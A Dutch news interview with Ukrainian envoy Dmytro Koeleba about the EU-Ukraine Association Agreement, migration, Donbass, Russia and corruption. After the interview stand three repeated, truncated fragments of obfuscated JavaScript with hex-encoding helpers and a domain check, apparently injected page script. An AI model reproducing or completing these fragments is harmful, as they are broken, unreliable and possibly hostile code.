Dmytro Koeleba heeft als gezant voor het Oekraïense ministerie van Buitenlandse Zaken de opdracht zijn land aan Europa te verkopen. Geen dankbare taak, maar hij wil per se een tegenwicht bieden tegen alle negatieve berichtgeving. ‘We vechten harder tegen corruptie dan alle laatste 23 jaar bij elkaar.’

STEUN RO

Het felbevochten Associatieverdrag tussen Oekraïne en de Europese Unie is per 1 januari met een vertraging van twee jaar grotendeels van kracht geworden. Zelfs het referendum dat Nederland op 6 april houdt over het verdrag zal daar niets aan veranderen. De handel is vrij, import- en exportbarrières zijn geslecht en binnenkort kunnen Oekraïners visumvrij reizen naar de EU. Speciaal gezant Dymtro Koeleba van het Oekraïense ministerie van Buitenlandse Zaken heeft de taak zijn geteisterde land aan Europa te verkopen. Een gesprek, niet in een kantoor en nette pakken. Maar gewoon in een Ierse pub in het centrum van Kiev.

Dmytro Koeleba Foto Anna Arhipova
Dmytro Koeleba
Foto Anna Arhipova

Na alle ellende die Oekraïne heeft doorgemaakt, wat betekent het Associatieverdrag voor het land en zijn inwoners?
‘Het is niet minder dan de terugkeer van Oekraïne in Europa. Niet slechts een handelsdeal of een politiek akkoord, met het verdrag wordt geschiedenis geschreven. De terugkeer in Europa betekent vooral dat Oekraïne zich zal voegen naar Europese waarden en regels. Natuurlijk is het geen lidmaatschap van de EU, maar omgekeerd is het voor het voor Europa wel een mogelijkheid zijn stelsel van waarden en regels uit te breiden. Daarnaast is het voor Oekraïne een instrument dichter naar Europa te groeien.’

Het Associatieverdrag is niet minder dan de terugkeer van Oekraïne in Europa

Wat gaat de EU merken van de Oekraïense export, die nu een stuk vrijer is geworden?
‘Allereerst zal Oekraïne vooral landbouwproducten uitvoeren, maar daarnaast ook veel IT. Het is helaas niet overal bekend, maar Oekraïne is op het gebied van informatica leidend in Oost-Europa. Nederlandse gebruikers van Padcube of Depositefiles zullen het wellicht niet beseffen, maar dat zijn Oekraïense producten. Europese bedrijven krijgen omgekeerd goede kansen om hier te investeren. En natuurlijk krijgen ze een gigantische afzetmarkt bij voor de producten waarop Europa trots kan zijn.’

Wat zou Oekraïne graag uit Nederland willen invoeren?
‘Jullie veestapel is erg goed, die zouden we graag meer importeren. En bloemen natuurlijk. Daarnaast is er voor het Nederlandse bedrijfsleven ook in bredere zin veel te investeren in Oekraïne. In december nog omschreef ABN Amro Oekraïne als één van de perspectiefrijkste markten. Vergeet niet dat Oekraïne 45 miljoen inwoners heeft, dat is een grote markt waarvan ook Nederland kan profiteren.’

Zelfs ABN Amro plaatst Oekraïne bovenaan de lijst van perspectiefrijkste markten

Toch is er ook angst in Nederland: dat met het visumvrije regime er straks ook Oekraïense criminelen richting West-Europa zullen trekken. Begrijpt u die angst?
(Ietwat cynisch) ‘Als we vervallen in vooroordelen, kan ik voor alles begrip opbrengen. Maar ik doe een reality check met u: in het midden van de jaren ’90 ging het verhaal dat Oekraïners de crimineelste migranten binnen Europa waren. We hebben toen bij de politie van verschillende landen de criminaliteitsstatistieken opgevraagd. Wat bleek? In geen van de landen namen Oekraïners de top- of zelfs maar middenpositie in op de misdaadlijsten. Integendeel, ze passen zich juist overal goed aan. Bovendien: onze douanediensten zullen vanaf nu ook met Europese standaarden, technieken en procedures gaan werken. Gelooft u mij: de angst voor hordes Oekraïners die straks Europa overstromen, is gebaseerd op vooroordelen.’

Dmytro Koeleba Foto Anna Arhipova
Dmytro Koeleba
Foto Anna Arhipova

Ook de angst voor al dan niet illegale arbeidsmigranten?
‘De migratiedreiging voor Europa komt niet uit Oekraïne, maar uit landen als Syrië en Afghanistan. Zelfs de oorlog in de Donbass (waarbij miljoenen ontheemd raakten en op de vlucht sloegen, red.) deed Oekraïners niet in groten getale de grenzen met Europa overtrekken. De grootste werkimmigratiegolf heeft tien jaar geleden al plaatsgevonden. Degenen die echt naar Europa wilden, zitten daar allang, legaal of illegaal. De Europese arbeidsmarkt is vol, daarom is het niet makkelijk werk te vinden nu. Ik ben ervan overtuigd dat de belangrijkste groep die geïnteresseerd is in het visumvrije regime, de creatieve klasse betreft. Jonge mensen die hun talen spreken en die al een goede baan hebben. Zij zullen baat hebben bij het vrije reizen en dat is goed voor het contact tussen hen en hun Europese leeftijdsgenoten.’

Oekraïners die naar de EU wilden, zijn tien jaar geleden al vertrokken

De bereidheid in de EU om Oekraïne op te nemen in haar gelederen lijkt echter alleen maar kleiner te worden. Het is uw taak Oekraïne te verkopen aan Europa. Hoe doe je dat onder deze omstandigheden?
‘We moeten de waarheid vertellen. Oekraïne is niet alleen oorlog en revolutie. We hebben veelbelovende economische perspectieven, ondanks dat het nu heel moeilijk is. We hebben een goede toeristische sector, mooie steden en zeven VN-Werelderfgoedlocaties. Vraag het aan de Nederlandse voetbalfans die in 2012 in Charkov verbleven. Volgens mij waren die best tevreden. Nee, het verdrag met de EU zal Oekraïne niet in één dag veranderen. Maar denk aan eind jaren ’90, ook toen werd er sceptisch gekeken naar de toetreding van landen als Polen en Tsjechië tot de EU. Uiteindelijk hebben zij de unie alleen maar sterker gemaakt.’

Hoe zou u de situatie in de Donbass omschrijven?
‘Geen oorlog, geen vrede. Er is een bestand, maar er zijn nog altijd gewapende incidenten. Het grootste probleem is het totale gebrek aan vertrouwen onderling. Wij kunnen Rusland niet vertrouwen, want het heeft zijn beloften al zo vaak gebroken. Onze focus is nu: de situatie, de schietpartijen van de terroristen van de DNR en LNR (de afgescheiden Volksrepublieken Donetsk en Loehansk) zoveel  mogelijk onder controle houden. Maar dit conflict zal niet in de loop van een aantal maanden zijn opgelost, daar gaan vele jaren overheen.’

Hoe ziet u de toekomst van heel Oekraïne? Als je het somber stelt, dan zal Rusland het verlies van Oekraïne uit zijn invloedssfeer nooit accepteren en zal de EU op zijn beurt huiverig zijn het land in de armen te sluiten?
‘In historische termen is het heel simpel: Rusland heeft Oekraïne verloren. Het plan van Moskou om het land aan stukken te trekken, is mislukt. We hebben het overleefd. Moskou had nooit verwacht dat de rest van de wereld Oekraïne zou bijstaan, maar dat gebeurde toch. Het is pijnlijk voor Rusland om dat te accepteren, maar Oekraïne heeft een ommekeer van 180 graden gemaakt gemaakt en is richting Europa gegaan. Rusland heeft geen wapens meer. Het kan met ons spelen, het kan dreigen. Maar Rusland heeft verloren. Het ziet Oekraïners inmiddels als vijanden en heeft ons moedwillig van zich vervreemd. We blijven niet in het ongewisse leven. We weten waar ons verleden is, en we weten naar welke toekomst we toe moeten. En die toekomst is niet Rusland.’

Wat zou u tegen de Nederlanders willen zeggen die op 6 april over het Associatieverdrag gaan stemmen?
‘Voordat je gaat stemmen, doe een reality check en laat de vooroordelen achter je. Bereid je tenminste voor op het referendum, google Oekraïne, lees erover.’

Dmytro Koeleba Foto Anna Arhipova
Dmytro Koeleba
Foto Anna Arhipova

Maar de Europeanen hebben de laatste weken ook weinig verheffende taferelen uit Oekraïne zien komen: vechtpartijen in het parlement, scheldpartijen tussen de minister van Binnenlandse Zaken Avakov en gouveneur van Odessa Sjaakasjvili, beschuldigingen van corruptie aan het adres van premier Jatsenjoek. Dit is wel het beeld dat we in Nederland van Oekraïne hebben.
‘Oekraïne grootste interne vijand heet corruptie. Ja, het land is erdoor vergiftigd. Maar staat tegenover dat Oekraïne de laatste anderhalf jaar meer tegen corruptie heeft gedaan dan in de 23 jaar daarvoor bij elkaar. Bovendien: er zijn landen lid geworden van de Europese Unie die een nog volstrekt ontoelaatbare mate van corruptie kenden. Wij treden niet eens toe tot de EU maar vechten al harder tegen de corruptie dan anderen. Je kunt zeggen: het land is corrupt, maar je kunt net zo goed zeggen dat Oekraïne corruptie inmiddels bestrijdt op een nooit eerder gekend niveau.’

Oekraïne is vergiftigd door corruptie, maar er zijn landen lid van de EU die er minder tegen doen dan wij

Zou u een voorspelling willen doen over of en wanneer Oekraïne EU-lid wordt?
‘Zoals u weet was het in de Sovjet-Unie gebruikelijk te voorspellen wanneer het socialisme vervolmaakt zou zijn. Daarom wil ik mij maar niet aan wagen aan een antwoord op uw vrag (grinnikt). Voor mij is een datum niet belangrijk, voor mij geldt als belangrijkste dat Oekraïne naar Europa toegroeit.’

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “reportersonline.nl”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “reportersonline.nl”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "reportersonline.nl"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Joost Bosman (1969) is correspondent in Rusland en de rest van de voormalige Sovjet-Unie voor onder meer het AD, De Tijd, BNR en Reporters Online.